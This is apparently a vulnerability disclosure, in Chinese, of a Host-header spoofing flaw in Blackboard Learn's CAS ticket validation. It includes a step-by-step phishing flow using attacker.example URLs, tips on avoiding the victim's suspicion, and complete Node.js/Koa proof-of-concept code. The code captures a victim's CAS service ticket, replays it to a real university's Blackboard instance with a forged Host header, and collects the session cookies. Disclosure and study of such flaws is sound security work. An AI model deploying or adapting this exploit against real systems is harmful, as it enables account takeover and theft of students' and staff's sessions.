Blackboard Learn 中的一个认证模块在中央认证服务(CAS)服务票据验证过程中容易遭受 HTTP 主机头欺骗。CAS 服务票据仅针对特定的 服务,但 Blackboard Learn 未能正确验证该服务是否为当前实例。这允许一种网络钓鱼攻击:用户以为自己正在为某个网站输入单点登录信息,但实际上恶意网站利用该 服务票据 以该用户身份向 Blackboard Learn 实例进行认证。
攻击者搭建 attacker.example,以便以另一用户身份向位于 blackboard.example 的 Blackboard Learn 实例进行认证,该实例通过 cas.example 验证服务票据。
当用户访问 attacker.example 时发生如下事件:
https://cas.example/cas/login?service=https%3A%2F%2Fattacker.example%2Fwebapps%2Fbb-auth-provider-cas-BB5849b9bae4172%2Fexecute%2FcasLogin%3Fcmd%3Dlogin%26authProviderId%3D_102_1%26redirectUrl%3Dhttps%253A%252F%252Fblackboard.example%252Fwebapps%252Fportal%252Fexecute%252FdefaultTab%26globalLogoutEnabled%3Dtrue&renew=truecas.example 的登录页面。由于这是其机构的标准登录界面,且位于受信任的域名上,用户很可能信任该页面。登录页面会显示用户正在向 attacker.example 进行认证。attacker.example:https://attacker.example/webapps/bb-auth-provider-cas-BB5849b9bae4172/execute/casLogin?cmd=login&authProviderId=_102_1&redirectUrl=https%3A%2F%2Fblackboard.example%2Fwebapps%2Fportal%2Fexecute%2FdefaultTab&globalLogoutEnabled=true&ticket=ST-94783-BFdVJYDvsbi2HR0gXvy6-cas.exampleattacker.example 现在将使用上一步获取的服务票据 ST-94783-BFdVJYDvsbi2HR0gXvy6-cas.example 向 blackboard.example 发起 HTTP GET 请求。该 GET 请求访问 blackboard.example 时使用的主机头为:attacker.example:https://attacker.example//webapps/bb-auth-provider-cas-BB5849b9bae4172/execute/casLogin?cmd=login&authProviderId=_102_1&redirectUrl=https%3A%2F%2Fblackboard.example%2Fwebapps%2Fportal%2Fexecute%2FdefaultTab&globalLogoutEnabled=true&ticket=ST-94783-BFdVJYDvsbi2HR0gXvy6-cas.exampleblackboard.example 将向 attacker.example 后端响应包含目标用户认证信息的 cookies,从而允许该用户登录 Blackboard Learn 实例。如果 attacker.example 是机构内个人经常信任的网站(例如机构首页),那么该网站被攻破意味着该机构的 Blackboard Learn 实例也会由于此漏洞而同样易于攻破。
为避免怀疑,attacker.example 可以在步骤 5 之后将用户重定向回 sso.example 登录页面,并自此执行 attacker.example 原本应有的正常功能。用户会看到自己需要点击两次“登录”,但重定向发生得很快,以至于用户无法确定自己离开过登录页面并返回。
需要注意的是,CVE-2017-18262 与此漏洞不同。CVE-2017-18262 是 redirectTo 验证中的漏洞。而本漏洞涉及发送给验证登录端点的 service URL 参数中的缺陷。
利用 CVE-2017-18262 进行凭证钓鱼需要设置一个模仿 cas.example 外观的钓鱼登录页面。而本漏洞直接发生在 cas.example 上,但需要用户首先访问 attacker.example。
本漏洞已在 lms.uconn.edu 上针对被模拟用户 brc15007 进行了测试。lms.uconn.edu 是由 Blackboard Inc. 管理、托管在 Amazon Web Services 上的一个 Blackboard Learn 实例。
index.js
const crypto = require('crypto')
const Koa = require('koa')
const session = require('koa-session')
const FakeCas = require('./lib/fake-cas')
// 使用 koa-basic-auth 模块仅用于保护此 POC 不被未经授权的测试用户使用。
const auth = require('koa-basic-auth')
const CAS_SERVER = 'https://login.uconn.edu'
const BLACKBOARD_INSTANCE = 'https://lms.uconn.edu'
const VULNERABLE_ENDPOINT = `/webapps/bb-auth-provider-cas-BB5849b9bae4172/execute/casLogin?cmd=login&authProviderId=_102_1&redirectUrl=${encodeURIComponent(BLACKBOARD_INSTANCE)}%2Fwebapps%2Fportal%2Fexecute%2FdefaultTab&globalLogoutEnabled=true`
const POC_APP_USERNAME = 'i-accept-that-my-login-will-be-spoofed-for-testing'
const POC_APP_PASSWORD = 'fH71FnffjycEtMLdqd2zCAwavDzW8HdCaayHrQ4E'
const app = new Koa()
app.keys = [crypto.randomBytes(256)]
app.use(session(app))
app.use(auth({ name: POC_APP_USERNAME, pass: POC_APP_PASSWORD }))
const cas = FakeCas({
service: ctx => `https://${ctx.host}${VULNERABLE_ENDPOINT}`,
server: CAS_SERVER
})
app.use(cas.fakeCredentialRequestor({
attackUrl: ticket =>
BLACKBOARD_INSTANCE +
VULNERABLE_ENDPOINT +
'&ticket=' + ticket
}))
app.use(async ctx => {
ctx.body = `如果我是个坏人,我会使用以下 cookies 以您的身份登录到 ${BLACKBOARD_INSTANCE}。\n\n` +
ctx.session.cookieString
ctx.session = null
})
app.listen(3000)
lib/fake-cas.js
const https = require('https')
const fetch = require('isomorphic-fetch')
function createCASMiddleware (options = {}) {
const server = options.server
const service = options.service
const loginUrl = options.login || '/cas/login'
function fakeCredentialRequestor ({ attackUrl }) {
return async (ctx, next) => {
if (!ctx.session.cookieString && !ctx.request.query.ticket) {
const returnUrl = encodeURIComponent(service(ctx))
ctx.redirect(
server + loginUrl +
'?service=' + returnUrl +
'&renew=true')
return
}
if (ctx.request.query.ticket) {
const attack = attackUrl(ctx.request.query.ticket)
const res = await fetch(attack, {
headers: { 'host': ctx.request.host },
// rejectUnauthorized 是必需的,因为我们正在欺骗主机头,
// 而 ctx.request.host 很可能不在端点的 HTTPS 证书中。
agent: new https.Agent({ rejectUnauthorized: false })
})
const cookieString = res.headers._headers['set-cookie']
.map(cookie => cookie.match(/^(.*?);/)[1])
.map(cookie => `document.cookie = '${cookie}'`)
.join('\n')
ctx.session.cookieString = cookieString
console.log(cookieString)
ctx.status = 308
ctx.redirect('/')
return
}
await next()
}
}
return { fakeCredentialRequestor }
}
module.exports = createCASMiddleware
package.json
{
"private": true,
"main": "index.js",
"scripts": {
"dev": "nodemon index"
},
"devDependencies": {
"nodemon": "^1.17.5",
"standard": "^11.0.1"
},
"dependencies": {
"isomorphic-fetch": "^2.2.1",
"koa": "^2.5.1",
"koa-basic-auth": "^3.0.0",
"koa-session": "^5.8.1",
"query-string": "^5.0.1",
"xml2js": "^0.4.19"
}
}